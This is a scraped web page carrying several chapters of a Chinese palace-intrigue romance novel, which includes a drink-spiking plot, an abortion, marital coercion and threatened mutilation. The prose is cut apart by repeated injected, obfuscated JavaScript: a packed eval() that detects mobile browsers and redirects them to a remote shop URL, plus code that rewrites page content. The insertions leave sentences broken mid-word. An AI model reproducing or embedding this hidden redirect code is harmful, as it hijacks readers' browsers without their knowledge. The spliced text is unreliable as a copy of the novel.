乌春低下头去,眼尾逐渐湿润、变红,再抬起来的时候,颇有几分楚楚可怜之意,像是花蕊沾点嫣粉的白梨花,她今日腰身束得紧,纤纤杨柳,不堪一握似的。 沈珩心头一跳,忙移开眼。 “我知道了。”乌春小声道,便起身离去,走的时候,绣着蓝色鸢尾花的白裙摆一荡一荡, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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娶便娶了,对她好倒也罢了,怎么敢冷落她,让她一介柔弱女子竟然生出了逃离帝都的心思! 沈珩将酒搁下,酒壶在桌上发出重重的一声响,“备车,本王去一趟毓宁宫。” …… 乌春已经沐浴了一番,发梢被巾帕拧过,只带着一点湿润,偶或淌落几滴水。 惊莲愁道:“殿下畏寒,如今帝都的天气一日比一日寒凉了,这头发可得给您弄干,不然明早起来头疼,唉,还是南疆好,奴婢记得南疆这时候天气尚且暖着呢。“ “急什么。”乌春拿起一根红色的丝绸发带对着镜子在鬓边比了比,“还是红色更衬气色。” 惊莲聪慧,登时便反应过来,手一顿,“殿下可是要外出?” 恰在此时,外面跑来一个提着灯笼的婢女,“报——泽安王前来,拜访三皇子妃。” 惊莲诧异地看着乌春。 乌春将发带松松垮垮束在发间,“走罢。” 31. 撞见 乌春先到外面见沈珩,只见他一路没带几个人来,衣冠却很整洁,旁边的太监提着灯笼朦胧地照亮他半边身子。 “泽安王。”乌春福了福身子。 沈珩凑近来。 其实作为兄长和弟妹,他们该避嫌,私下见面已经是不妥,更遑论深夜里相见,沈珩还越走越近、越走越近…… 早就近于正常说话的距离。 惊莲下意识要拉乌春,却见乌春一动不动,心下狐疑:似殿下这般聪慧的人,怎么会想不到避嫌,定是自有打算。便不再动作。 沈珩身上有一股淡淡的酒气。 乌春躲也不躲,任凭他在半步之隔的地方停下来。 “泽安王来找我,是有什么事情?” 沈珩看了下身后,太监们立刻退到宫道的拐角处,听不见也看不见。 “你白日里所说的事情,我考虑了半日,觉得可以帮一帮你,但……”他喉结上下滚了滚,欲言又止。 乌春即刻道:“泽安王不如进来说。” 说着转身,欲引着他往里走,发梢在空中划出一圈弧度,几滴水珠子溅射起,恰巧溅到沈珩的衣襟上,带起一缕馥郁清香。 沈珩便在隆隆的心跳声中,步入了逢春殿的院子,坐在树下的石凳上。 抬眼便可以望见乌春的寝殿。 沈珩的眼睫毛轻颤。 他有片刻出神,觉察到乌春干净探究的视线,才开口道:“你要车马,这些其实好办,但是我不是冤大头,总要从你这讨些好处。” 乌春眨眼,“王爷想要什么好处呢?” 这一声王爷,仿佛霎时间拉进了他和她的距离,沈珩心头一紧,若不出那个意外,他是能名正言顺地出现在这她的寝殿前,能听她每日这般唤他。 沈珩低下头,“还未曾想好,所以与你相商。” 乌春用手撑着脑袋,作歪头沉思状,袖子滑落,露出一节雪白的小臂,“我没有什么拿得出手的,倒是厨艺还不错,若是泽安王不嫌弃,我可以每日做一碗糖水给你。” 沈珩一抬眼,便是她裸.露在外的肌肤,他视线被烫了似的收回眼,“好主意,那便这么说定了,你几时要走?” “说不准,不过应该快了。” 沈珩虽然醉了酒,但平日里惯来是君子,也知今夜昏了头了,再久留对乌春的名声也不好,便站起身,乌春一路送出去,临到门前,沈珩提醒道:“你注意天寒,夜里多盖些被子,头发要弄干。” 乌春却没想到他会这般关照,愣了愣方回道:“多谢关心。” 惊莲赶紧把乌春拉回殿内,“殿下,您这是公主那便求不到人,求到泽安王了?” 乌春没答话,惊莲一副心悸的模样,“哎呀,这要是让三殿下知道了你们夜里相见,还让泽安王入了院子,这可怎么办呀!” “怕什么。他沈绥也指不定在外面乱搞些什么事情呢,那成二姑娘看他的眼神可不一般,他又是拜访将军府又是雨中送伞的,我跟沈珩见个面怎么了?” 惊莲道:“话虽如此,可殿下您一介女儿家,总是同夫君的哥哥见面,于声名不好。” “这世道女子的名声如此重要,男子却可以三妻四妾,只会被人夸赞一声,家大业大有能力娶妻生子,凭什么?” 惊莲默了会儿,“奴婢想不明白,怎么泽安王平日里一副正人君子的模样,也会在夜里偷偷来找您相见,莫不是……”她越想越心惊,不敢再说下去。 乌春笑了一声,“他非圣人,只要心有不甘,那便心里永远卡着一根刺,你以为,我当初嫁给沈绥,他却至今仍未娶妻,他心里一点不平也没有吗?” 惊莲只好赞道:“殿下洞悉人心。” 几个婢女进来服侍乌春睡下,乌春交代了几句便躺下了,却没想到忽然听到有人跑进来,“三殿下回来了!” 乌春登时睡意全无,生怕沈绥知道了方才沈珩来过,起身去迎,刚到殿门口的时候,就见到了沈绥。 沈绥穿了一身黑衣,在旁边太监的灯笼照耀下,更显得脸色惨白如同鬼魅,乌春颤声唤了一声,“夫君。” 他望过来的眼眸像寒冬夜漆黑的夜幕,里面没有一颗星子,乌春瞧不出来他有没有看到方才泽安王来,毕竟谁能从不见底的深渊里头看到什么东西呢。 提心吊胆地等着沈绥开口,却见他嘴角缓缓勾起来,“爱妃今夜怎么还不睡?” 乌春垂首道:“今夜沐浴晚了些,头发难干,等到差不多干了,已经是现在了。不过能守到夫君回来,晚点睡也没什么。夫君怎么这个时辰回来?” 沈绥绕到她背后,抬手抚了把她的头发,她觉得发梢之间都灌入一阵凉意,只觉他的指骨一下一下在她发间梳着,然后听见他一声笑,“你头发现在还未干,进殿,我帮你擦擦。” 乌春不知他这平静的皮囊底下暗藏着怎样的汹涌,只依着他做,他却只是真的给她擦头发,擦完之后,在乌春唇上啄了下,咬着她耳朵道:“怎么,我是不能夜里回来么?” 然后又咬她的脸颊、脖子。 乌春的肌肤传来阵阵刺痛,料想明日起来定是几处通红,却不敢躲,“我不是这个意思。” 他一直辗转到了锁骨,在她锁骨吮吸噬咬不知多久方离去,唇齿间的声响在廖寂的夜里显得尤其响亮,令人脸红耳赤。 他抬起一双清冷如同琉璃瓦片的眸子,“做个好梦。” 之后离开了逢春殿。 乌春松出长长一口气。 …… 沈绥也不是没在夜里回过宫,宫里的眼线要做这点事不难,今日只跟平日一样,却没想到回毓宁宫的路上,远远的就瞧见了沈珩的马车。 那马车他现在还记得。 是那日乌春和沈珩一同乘坐,来大理寺门口的那辆。 当即站在一片树下的阴影里。 瞧见了沈珩是怎样靠近他的妻子,他的妻子又怎样不躲,又怎样引着他进入毓宁宫中。 沈绥守了一刻的功夫,沈珩就出来了,乌春是怎样的装束进去,便又是同样的装束出来,发带的位置都不变,此时,他一只手已经在袖中攥得发青。 回到宣阳殿后,沈绥自然没有睡下,他眸光一片冷静,望着一幅皇宫的地图,伫立了良久,在泽安王平日居住的宫殿上用朱砂笔画了一道叉。 翌日,沈绥没急着去大理寺,反倒是来了逢春殿,将尚在睡梦中的乌春抱起来,体温直直将她热醒,一番折磨,无休无止,直到日上三竿,他才施施然离去。 乌春却是走路都走不稳。 乌春唤玉梨,“我昨夜说好要给泽安王送糖水的,可我现在没有什么气力了,你赶快去准备一碗,就说是我做的。” “是。” 惊莲为乌春端来吃食,“三殿下也真是的,您昨夜睡得那般晚,今早一大早就来折腾您,当谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他瞧出来成统有事相求,成统毫不意外,也不绕弯子,“我家的大姑娘嫁了,也该轮到二姑娘的婚事了,我家这二姑娘,自小被我这个当爹的疏忽,受了拙荆和大姑娘的不少刁难,我平日行军在外,管不了后宅之事,便也由得去了。” “只这挑选夫婿这则终身大事,某想为二姑娘筹谋筹谋,寻个好人家。” 其实成静仪永远也不会想到,前世她能嫁泽安王,除却她自己的手段外,还有成统拉下一张脸,暗地里攀结不少关系打点,才这般顺利。 沈绥淡淡道:“她有你这样的爹,是好福气。想寻怎样的人家?这帝都的好人家以我现在的身份能引介的,凭将军的身份也能办到,犯不着请我前来。” 他将酒盏轻轻一放,一滴酒也没溅出来,“将军想要将成二姑娘嫁给我?” 疑问的话语,却仿佛在如实陈述。 成统叹了口气,“殿下还是如此聪慧,某瞒不过殿下,的确如此。二丫头在那夜里瞧见了殿下,殿下松骨鹤姿,她钦慕不已,又在沈珙生辰宴上一见,她便生出了想要嫁给殿下的心思。” 沈绥不为所动,“那日她分明瞧见我身边还有南疆公主,也想着嫁给我,做妾么?这般看来,你家这二姑娘也不算什么聪明的人。” 沈绥厌聒噪之人,厌愚蠢之人,纵然成静仪的皮囊生得和乌春有三分相似,他也不愿多瞧一眼。 “说来惭愧,正是小女过惯了苦日子,才不敢妄想,这也是我这个当爹的,心疼小女之所在啊。” 沈绥古井无波,“多事之秋,将军若要寻旁的人家,我自然能帮衬则帮衬,将军若是要将女儿嫁给我,不谋他利,却应该三思。” “若是大局难全,顾不上她的时候,我定会果断舍弃她。” 32. 争执 成统也不敢强求沈绥,经今日一番试探,知晓沈绥心意,只好作罢,将人送出了将军府。 成统望着秋日阴灰阒寂的天,呢喃,“要变天了啊。” 逢春殿。 乌春近来身子时常疲乏,白日每每从午时睡到傍晚,乌春只当是自己忧心所致。 有时候,沈珩会来找她。 乌春毕竟有求于人,便笑脸相迎,一来二去,沈珩对她的更添了几分情愫,然而终究为道德所制,不敢多求。 这日沈珩跟她闲聊,“你可知近来帝都里热闹得很,成将军府上大小姐出嫁了,嫁给了户部侍郎家的二公子,闹得满城风雨的,我瞧着成二小姐也快了。” 乌春作一副惊讶状,“呀,成二姑娘可有什么中意的公子?” 沈珩却欲言又止,乌春一派天真问:“怎么了?” “与你说也无妨,那成二姑娘似乎是爱慕三弟,宁愿嫁与三弟做妾。” 乌春恍然,“这有什么不能跟我说的。” 沈珩微微打量她,“你就不介意有人与你共一个夫君?”怕她听了心里不好想,又打趣似的道,“我瞧你也不像是会愿意与旁人共侍一夫的。” “的确如此,可若是一个愿打一个愿挨我又能有什么法子?” 沈珩叹息,垂下眼瞧她,“你是真不爱他吗?” 他们两人是可以托付秘密的关系,乌春当即便摇摇头,“不爱。” 沈珩一怔,却并未有多少喜,“辛苦你陪他这么些时日了。” 两人说了几句话,沈珩就走了,刚一走,沈绥便回来了。 乌春照例在门口迎接,“夫君回来了。” 沈绥今日似乎有些烦心事,眉心微蹙,眉宇间凝结着郁气,整个人像是寒冬枝丫上压弯枝条的厚重的雪,凤眸如帝都这几日漆黑的夜一片暗沉。 乌春不敢招惹他,怕他又发什么疯,便跟在他身后沉默不语。 他却忽然停了步子,“你也知道叫我一声夫君。” 乌春道:“臣妾不知殿下在说些什么。” 沈绥转过身,清冷的视线月光似的落下来,径直将乌春一拽。 乌春撞上他坚实的手臂,“呀”了一声。 男人身上浅淡的檀木冷香萦绕过来。 他冷静外表下的怒意随着掌心传了出来,力道重得乌春微微皱眉。 乌春抬起头,毫不心虚地和他对视。 沈绥几乎是咬着牙冷笑了一声,“真是好得很。” 乌春却道:“你要娶成家二小姐,你有三妻四妾的,我却只是同沈珩站着聊了几句罢了,你有什么好气的?” 她的语气轻飘飘,仿佛在说一件和自己毫不相干的事情。 沈绥强行按捺下眼底那抹戾气,“谁同你说我要娶成静仪的?” 秋日雨水多,才片刻的功夫,已经有丝丝缕缕的雨落下来,冰冰凉,一直从沈绥的额头凉到了他的心。 乌春理所当然,“人家成二姑娘那么喜欢你,你同成将军关系也不错,你日后是要做大事的人,难不成后宫只有我一个吗?早娶晚娶都是娶,也不只娶一个,娶成二姑娘不是随手的事?” 沈绥的嘴角动了动,“我以为你有几分聪明,现在看来是我看走了眼。”他的嗓音一片冰冷,眸中怒火更甚,“我娶成静仪,对你有什么好处?你就这般盼着我娶旁人,就这般盼着我同别的女子情投意合?” 他的力道几乎能捏碎乌春的手骨,乌春手一甩,“你放开我!” 她也不再冷静,“我同你磋磨了一年多,你当初娶我的时候,怎么没有想过,强夺本该是旁人的妻子,却还要那妻子敬你爱你,凭什么?”她直直盯着沈绥的眼,“沈辞宁,我问你,若是我没有南疆公主的身份,你还会娶我吗?” 沈绥见她厉声质问,反而渐渐冷静下来,“你疯了吗?你不怕死?” 乌春嘲讽似的笑,“你不会娶我,你更不会爱我。” 恰巧有一滴雨落在沈绥的眼皮上。 沈绥的眼睫毛忽地一颤。 “可这世上不会有回头路,我们走到这一步,都回不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254084|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了。” 直到这时候,乌春才觉察到秋雨刺骨的凉。 她就不该对这个人抱有任何一丝期望,无论是前世还是今生,他回答她的,只能有一句—— 都回不去了。 雨越下越大,乌春淋湿了鬓角,衣襟上的深色也如一条条竖线点缀。 沈绥闭了闭眼,把人打横抱起,一脚踹开逢春殿的大门,让惊莲和玉梨备水,自己把乌春扒了外衣,用被褥胡乱将她裹起来。 乌春被裹得粽子似的,扒拉了半天才从被子里冒出头,“你做什么!” 沈绥只是沉默,捏着袖中那根玉簪的手微微颤抖。 这根玉簪本来早就该雕琢好,但他挑剔,嫌不够完美,便带去了大理寺,处理公务的间隙还能琢磨琢磨,今日终于是雕好了。 水来了,沈绥让下人都退下之后,把乌春剥荔枝似的剥出来,往桶里一扔,乌春呛了一鼻子热水,破口大骂,沈绥脱了衣裳,也进入桶中。 热气氤氲。 她本来是畏寒之人,泡在热水中也要过一会才能觉到浑身热意,可他一进来,独属于成年男子的热度惊人,只是靠近她,便让她觉得透不过气。 乌春双臂紧紧环绕自己,忍不住颤抖。 “冷?”沈绥视线落在水面下她的手臂环绕处。 乌春怕极了,拼命摇头。 他看她双颊酡红,也不似冷的样子,长臂一伸,就将人抱在怀中,一丝间隙也没有。 乌春觉得他简直像块烙铁,蒸得她浑身都热。 “坐上来。”他命令似的道。 …… 沈绥这次回来,什么也没留下便走了。 乌春开始在逢春殿内烧炭,炭一烧起来,整个逢春殿暖烘烘的让人昏昏欲睡,她睡的时间也就越来越长,偶尔还会吃些腌渍得酸甜的梅子。 惊莲小心翼翼地提了一嘴,“殿下,您上个月就没来癸水,这个月到现在了也没有,怕不是……” 倚在榻边快要睡着的乌春心里咯噔一下,猛然睁开眼。 33. 她没错 身为医者,乌春把了把自己的脉便知晓已有身孕。 前世四年都没有过身孕,这一世却有了,命运似乎跟她开了个玩笑,在她一心想要逃离沈绥的时候,她却有了他的孩子。 乌春闭了闭眼。 惊莲问:“要告诉三殿下吗?” 这丫头聪慧就聪慧在这里,知道审时度势,也知道观察主子的眼色,从来不自作主张做事,乌春有什么出格的事,她都很少问一句为什么,只照做便是了。 “不必了。他知道又能如何?” 惊莲换了个问法:“殿下要将这孩子生下来吗?” 乌春没有立刻回答,“容我想想。” 惊莲瞧着乌春那平静得几乎毫无波澜的面色,莫名感到一阵心慌。 …… 沈珩隔不了几天便会送些东西来,上次是路线图,这次是一封密函,里面写着他安排好的人马的名单以及在何处等候。 不可否认,沈珩对帮她这种事很上心,不知是他习惯于周全地做事,还是因为相求的人是她。 乌春暂且没有那个闲功夫细想。 乌春在脑中权衡了数遍,若是将孩子生下来,还需得八九个月的功夫,她自然不会再在这皇宫呆九个月,也就是说,她很有可能怀着身子从大梁帝都一路到南疆,山长路远,不知何时能到,腹中的胎儿于她便是个累赘。 乌春不可能为了孩子舍弃自在的生活。 于私来讲,她也不愿同沈绥有再深的纠葛,他的血脉又有什么留下的必要?拿这孩子要挟沈绥?简直痴人说梦。 所以在接下来的一段时间内,都不便再与沈绥同房,若是用癸水作为由头,最多只能瞒几日,按照沈绥平日里那对她胡来的性子,怎么可能她说不碰便不碰了。 该怎么办呢? 乌春望着重重宫阙,灰蒙蒙的天似乎将艳红的宫墙都染上了一层阴色。 “惊莲,替我向泽安王说一句,我过几日便出宫,寻成二姑娘,能不能行个方便宴请一下。” “是。” …… 成静仪在收到成统递过来的请帖的时候,一颗心像砧板上的鱼跳来跳去不安宁。 沈珩怎么会突然请将军府上的人吃酒席?便是和爹有事务相商量,也不必请她这个府上的小姐参加。难不成是跟她一样做了预知梦?他现下来找她又是为了什么? 为了报梦中她欺瞒他直到死的仇? 直觉告诉她,沈珩不是这样的人。 成统是有心撮合沈珩和成静仪的,毕竟到了最后,为了仁义之名,沈绥会留一个沈氏的皇子不杀,沈珩在朝中的立场惯来中立,谁也不得罪,老好人似的,沈绥不出意外,会将他贬去偏远的地方。远是远了点,可日子过得不会差。 总比在沈绥身边过日夜忧心的日子强。 帝王家,太难。 在成统的一再劝说下,成静仪也不好推脱,便跟着他一同来到酒庄,酒庄的三层是专为贵客留的,她到的时候,里面已经有人了。 成静仪小心地打量着沈珩,见他也不像是知道了什么的样子,便微微松了口气。 成统和沈珩没说几句,为了避让她,便到了外面说话,刚走出去,屏风后便走出来一个女子。 这女子成静仪在梦中和在吟风楼中都是见过的。 成静仪心里有点慌,这南疆公主瞧着还挺和善温柔的,怎么还来拦着她夫君纳妾。 乌春只是坐下来,眼眸很淡,恍惚间成静仪还以为自己看到了沈绥的那一双眼。 “我听说你想嫁给沈绥?” “三殿下乃人中龙凤,陌上君子,自打第一眼起,我便对三殿下心生爱慕,愿长伴在三殿下身边,但若是不可,也望三殿下能与所爱之人琴瑟和平,白头偕老。” 一番话可算是说得圆满。 乌春却偏偏能挑出错来,“听你的意思是,你爱他,却也愿意大方放手,你可真是心胸宽阔。我若是你,我断然容不得我所爱之人身边还有旁人。” 成静仪听着她话外之音是非拦着她嫁给沈绥不可,便低眉顺眼地解释道,“我没有说您不好的意思,只是我出身低微,只是小小庶出之女,自然不及一方公主尊贵,许多事情我没有权力做。您若是不愿,我便不再纠缠三殿下了。” “谁说我不愿?”乌春终于把视线从自己染了红蔻丹的指甲上移开。 成静仪惊地望她。 “我看你也是真心喜欢他,再加上成将军和沈绥有故交,嫁给他倒也不错,要不要,我帮你一把?” 成静仪既不敢说好,也不敢说不好,只瞧着乌春,一副既乖巧又惶恐的样子。 这位南疆公主,倒真不是什么温柔贤淑好拿捏的人,尤其那眼睛望着她的时候,仿佛总有一丝漠然和抵触。 也许连乌春她自己都不曾察觉。 乌春交代完之后,从后门出了酒庄回宫,陡然有一股疲惫之意,淡淡的荒诞漫上心头。 前世的她大抵决计想不到,她有朝一日,会做出这般事情吧。 …… 乌春这日来找沈绥,她出现在大理寺外的时候,且不说旁人,就连沈绥都有些意外,正巧也到了散衙的时候,便和乌春一道去了一家酒馆,选了四周都没有人的厢房。 沈绥抬她下巴,轻轻摩挲着,“今日这是怎么了?宫里有谁欺负你了?” 乌春别过头,“没有。” “哦,那便是想我了。”沈绥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281160|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将头埋在她的颈窝,啄了一下她的脖子,她身上的味道很好闻,很浅淡的花香似的,肌肤也柔腻。 乌春忍不住缩脖子,手推搡他,“先吃饭。” 沈绥低笑了一声。 今夜帝都的星子格外透亮,沈绥的凤眸也很清亮,像是装了大半边天的星星似的、。 乌春怀着身孕,不能喝酒,手中的杯盏里都是茶水,沈绥也不知是想到了什么,还是疑心病作祟,一下子就伸手将她手中的瓷盏拿过去。 只要他闻一闻,便能闻出异样。 乌春心脏狂跳,在他转着修长的手指,端详着这个瓷盏的时候,已经想好了说辞。 可他看了一会儿后,便将这瓷盏还给她,“想不到这小小的馆子,用的瓷盏还算上乘。” 乌春放下心来。 这一瞬间,沈绥在想什么,恐怕只有他自己知道。 帝都的夜很宁静,可厢房里并不是如此。 沈绥的酒喝得耳热,头有些疼,便将乌春拉过来抱在腿上坐着,额头抵在她的脸颊。 乌春腮帮子都被抵得凹进去,鼓着气“呀”了一声,“你怎么这么沉?” 沈绥眼眸沉沉看着她,很浅地笑,“你没害我吧?阿春。” 乌春心头陡然一颤,“你在说什么,我听不懂。是不是脑子喝糊涂了?” “是你糊涂还是我糊涂?”他自言自语似的,“不过我们两个总得有一个糊涂才能过下去。” “那便是你糊涂,我聪明。”乌春一副俏皮相,还吐了吐舌头,沈绥只瞧着她,眼里噙着点温柔的笑意。 乌春有点恍神。 很少见沈绥眉眼温柔下来的样子,他从来都是冷若冰霜,偶尔对人温笑,也给人距离感。 他复又将头低下去,闻着乌春身上的味道,像是要将这气味烙到骨子里似的。 渐渐的,他没了声。 “殿下?沈绥?沈辞宁?”她一连唤了好几声,回答她的只有清浅的呼吸声,他的身体也在一点点变烫。 她小心将他身子摆正,又替他理了理衣裳上的褶皱,确认他已经中了药,才离开厢房,唤来一个人,之后将门锁上。 做完这一切,乌春的手莫名奇妙开始颤抖。 她竭力劝说自己,成静仪那般愿意,她自然不算害人,沈绥反正日后也是要当皇帝的,三宫六院,现在多一个成静仪也没什么,她什么也没做错。 她没错,她没错,她没错…… 在逃之前,她不想和这个人有太多纠葛。 肚子里的孩子不能要。 她一直往外走,那一声“阿春”却仿佛烙在了她的耳边,挥之不去。 像躲不开的咒语,也像一段孽缘。 34. 恨意 沈绥只觉得头疼欲裂。 仿佛身处融融火海,耳边出现密集如蚁的噼啪火星声,又不断地有木料、布料燃烧成灰烬的嘶嘶声,远处一声声杂乱的“走水了”像是隔着一层钟罩似的听不真切。 身上也发热。 尤其是下腹。 恍惚间有人拍他的脸,用冰凉的指节抚摸他的脸颊、喉结、锁骨,再往下…… 沈绥眼睫毛轻轻颤动,缓缓睁开眼。 看清了来人,他一把捏住她的手腕。 成静仪一声痛呼。 “谁让你来的?”沈绥嘶哑着嗓子,凤眸涨得通红,里面汹涌着无边戾气,竟是一副凶神恶煞的模样! 成静仪惊吓地往回缩,沈绥一把将她甩开,她登时跌坐在地。 成静仪原本是想着沈绥中了药,意识模糊,她只要稍稍引诱就可以行事,可谁想他竟还能认出人,眼里如此……愤怒。 除了愤怒与杀意,还有几分痛苦。 沈绥的手指捏得发白,“说话。” 天然的威严让成静仪不得不跪在地上,哭泣道:“三殿下,我实在太过爱慕您,才生了歹心,若是能解您心头之恨,要杀要剐都可,但千万不要怪罪皇子妃娘娘,这些计谋都是我动了歪心思,与皇子妃娘娘无关啊!” 她哭得极其柔美,像是春雨后噙着露珠的梨花,衣衫穿得单薄,沈绥那一甩,将她的衣衫都甩落到了肩膀,她也不扶。 沈绥闭了闭眼,压抑着额角跳动的青筋,“你是觉得你三言两语、或者你自甘轻贱,能挑拨我和她的关系?” 成静仪忙道:“我不敢,我不敢!” 沈绥冷道:“你若是聪明,便知我现在想知道些什么。” 他定定看着她的眼睛,仿佛那里面有能活死人肉白骨的良药。 成静仪只能道:“三殿下既然如此发问,我便只能答了,是……是皇子妃娘娘找到小女,共商此计的……” 沈绥紧紧攥着的手终于松了瞬,又再次捏紧,紧到指甲深入掌心,仿佛那不是自己的血肉。 分明毫不意外,喉间却涌上来一股甜腥。 他扫了眼成静仪,“还不滚。” 成静仪便是再有胆量,也不敢再多留,可那门竟被反锁了,一时半会还打不开,她用力推了半晌,也没推开,复又回头看沈绥,“殿下……” 语气在看到沈绥扶着墙咳嗽时陡然变了,“殿下您没事吧?” 沈绥咳嗽几声后直起身子,“滚开。” 成静仪啜泣着退到一边,沈绥一脚踹过去,门登时从中间裂开。 沈绥找了车马回宫,然而半途中浑身仿佛从火海中走了一遭似的滚烫,只好沿街寻郎中,所幸有一家夜里也开着门铺,郎中为沈绥诊断后,看他一副阎王似的凶相,不敢耽误,连夜熬了药。 沈绥用完药已经过了半夜,只觉浑身俱疲,在旁边客栈中睡了两个时辰不到,便往宫中赶去。 …… 逢春殿。 乌春没想过会这么疼。 身为医者,自然是想尽办法给自己减轻了最多的痛苦,可堕胎依旧这般疼,疼得她在床榻上婴孩般蜷缩起身子,脸色惨白如纸,像漂浮在水上很快就要沉下去的白布。 她心里想,她算不算杀了一条无辜的性命? 她腹中的生命明明什么也没做错。要怪就怪命运吧,若不是命运,她没有这一世的重来,若不是命运,她难以受孕的体质,也不会有这个孩子。 帝都的风真是太冷了。 乌春在床上疼了不知几时,终于睡了过去,睡到朦胧之时,有人在她耳边唤,“殿下快醒醒,三殿下回来了!殿下醒醒!” “他回来得这么快吗……”乌春轻轻呢喃,“他竟然还会回来。” 惊莲和玉梨一左一右将人扶起来,额上皆是冷汗涔涔,慌道:“怎么办啊,阿贵说三殿下一脸怒容,比平日里任何一次动怒都要可怕,殿下现在这幅身躯,万一三殿下要责罚,可怎么办啊!” 乌春稳住心神,“我有办法,你们别慌。” 话音刚落,外面的大门轰然一声打开,沈绥紧紧抿着唇,在看到乌春的一刹那,眼睛像是被刺了似的,泛起蛛网般的红意。 “都退下去。”他冷沉吩咐。 乌春跪在地上,低着头,只着中衣。 地上的凉意从膝盖一路渗透到她的骨子里。 沈绥居高临下,“起来。” 乌春道:“臣妾不敢。” 沈绥吸了口气,走过去后一把将她拽起来,“敢给我下药,却不敢站起来?” “我为你开枝散叶,开阔后宅,有何错?”乌春很平静。 她的平静,却仿佛压断枝丫的最后一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313298|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片雪,沈绥脑海似乎有咔嚓一声响,什么东西断裂了开。 他捏着乌春的手在颤抖,黑眸里戾气极深,“你就这么恨我?” 乌春迎上他的视线,眼眶却莫名有一丝酸意,“是,我受够了你的强迫,我受够了你的忽冷忽热,我受够了你这个人,我巴不得一堆姑娘缠着你,你最好是永远别来逢春殿!” 沈绥只觉眼前阵阵发花,满目似乎皆是燃烧的烈焰,他默了片刻方缓过神来,双目充血,“你恨我又能如何?” 他的眼神渐渐变得癫狂,双手扼住她纤细的脖颈,擒到墙边,大喊,“来人——” 乌春挣扎着,妄图从他掌中透出几口气,可她就像是浮在水面断断续续呼吸的鱼,很快就要窒息而死。 她听见沈绥道:“砍了她的手和脚。” 自然是没有人敢动。 “还不动?想死吗?” 乌春快要窒息,猛烈地咳嗽,沈绥在她耳边道:“你不是恨我吗?可你没得选,我砍你的手、你的脚,你除了与我男.欢.女.爱,除了对我顺从服软,什么也做不了。” 他松开她的脖颈,猛然抬起她的下巴,“怕吗?” 乌春却倔,“不怕。你尽管来。” 沈绥咬了咬牙,“还不拿刀来?!” 太监没有办法,只能叫个壮汉提着刀来了,先前沈绥也有砍人手脚的责罚,只不过很少,他更喜欢干脆利落地一刀杀人。 沈绥将乌春绑了起来,“用右手下的药,先砍右手。” 那汉子一脸为难,沈绥视而不见,却一直盯着乌春,“违令者,诛。” 汉子只好扬起刀,可乌春却平静地闭上了眼,一丝挣扎畏惧都没有,在那刀要落下来的时候,寒光一闪,沈绥看着乌春两片轻巧的眼睫毛,忽然觉得没意思,更是生出股自厌,手刀劈在汉子的手臂上,长刀落地。 “都滚出去!” 下人们如蒙大赦。 乌春睁开眼,不知是不是因为方才被他掐的几乎窒息,眼眶泛着红意。 沈绥瞧了一眼就别过头去,“这世上恨我的人如此之多,你的恨不会对我起任何作用,除了激怒我责罚你之外,没有任何好处。” “你便是恨,也记着,我是你丈夫,你远在他乡唯一的倚仗。” 说罢便迈步走了出去,像是一把划开血肉的匕首。 35. 寒冬 就像乌春所计划的那样,沈绥在接下来的一段时间都没有来逢春殿。 虽然出了点差错,他没有娶成静仪,但目的达到了。 可乌春并没有感到有多欢喜。 有些时候的夜里,她会梦见一个哭啼的婴孩,躺在血泊中,朝她伸出幼小的手,然后猛地惊醒过来,浑身一层冷汗。 乌春的身子本就畏寒,因为打胎一事,身体更加虚弱,一日在院子中立得久了些,吹了冷风后就染了风寒。 有下人给沈绥报信,说皇子妃娘娘在宫中身体抱恙,要不要回宫看一看娘娘,您都在外面住了多久了,岁暮天寒,也该回去了。 沈绥淡道:“回去做什么?她又不愿见我,我何必回去?” 再没有人敢在他面前提乌春。 在今岁暮时的一个黄道吉日,成昭扬和赵青举行大婚,户部侍郎府上一片热闹,排场给得极足,请了一众王孙贵族来府上吃酒,宾客们也大都愿意给成将军面子前来做客。 沈绥自然是要去的。 也自然没有不带乌春去的理。 “皇子妃娘娘,成将军府上大姑娘大婚,邀请您和三殿下去吃宴席,这是帖子。” 乌春裹着厚被褥,掂了掂请柬,“这是沈绥要你送过来的?” 